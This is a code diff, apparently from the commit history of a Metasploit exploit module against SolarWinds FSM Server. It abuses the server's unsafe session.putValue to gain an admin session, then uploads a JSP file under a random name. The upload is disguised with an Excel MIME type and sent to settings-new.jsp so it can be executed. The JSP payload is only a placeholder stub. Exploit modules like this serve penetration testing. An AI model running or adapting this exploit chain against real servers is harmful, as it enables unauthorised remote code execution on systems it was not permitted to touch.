@@ -83,8 +83,8 @@ def exploit
83
83
sid = put_session_value ( 'admin' )
84
84
print_status ( "Your SID is: #{ sid } " )
85
85
86
- filename = "test .jsp"
87
- malicious_file = ''
86
+ filename = "#{ Rex :: Text . rand_text_alpha ( 5 ) } .jsp"
87
+ malicious_file = get_jsp_payload
88
88
print_status ( "Uploading file: #{ filename } " )
89
89
upload_exec ( sid , filename , malicious_file )
90
90
end
@@ -93,6 +93,12 @@ def exploit
93
93
private
94
94
95
95
96
+ # Returns a JSP payload
97
+ def get_jsp_payload
98
+ 'evil inside'
99
+ end
100
+
101
+
96
102
# Creates an arbitrary username by abusing the server's unsafe use of session.putValue
97
103
def put_session_value ( value )
98
104
res = send_request_cgi (
@@ -134,14 +140,14 @@ def upload_exec(sid, filename, malicious_file)
134
140
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
135
141
def upload_file ( sid , filename , malicious_file )
136
142
mime_data = Rex ::MIME ::Message . new
137
- mime_data . add_part ( malicious_file , nil , nil , "name=\" file\" ; filename=\" #{ filename } \" " )
143
+ mime_data . add_part ( malicious_file , 'application/vnd.ms-excel' , nil , "name=\" file\" ; filename=\" #{ filename } \" " )
138
144
mime_data . add_part ( 'uploadFile' , nil , nil , 'name="action"' )
139
145
140
146
proto = ssl ? 'https' : 'http'
141
147
ref = "#{ proto } ://#{ rhost } :#{ rport } #{ normalize_uri ( target_uri . path , 'fsm' , 'settings-new.jsp' ) } "
142
148
143
149
send_request_cgi (
144
- 'uri' => normalize_uri ( target_uri . path , 'fsm' , 'userlogin .jsp' ) ,
150
+ 'uri' => normalize_uri ( target_uri . path , 'fsm' , 'settings-new .jsp' ) ,
145
151
'method' => 'POST' ,
146
152
'vars_get' => { 'action' => 'uploadFile' } ,
147
153
'ctype' => "multipart/form-data; boundary=#{ mime_data . bound } " ,
0 commit comments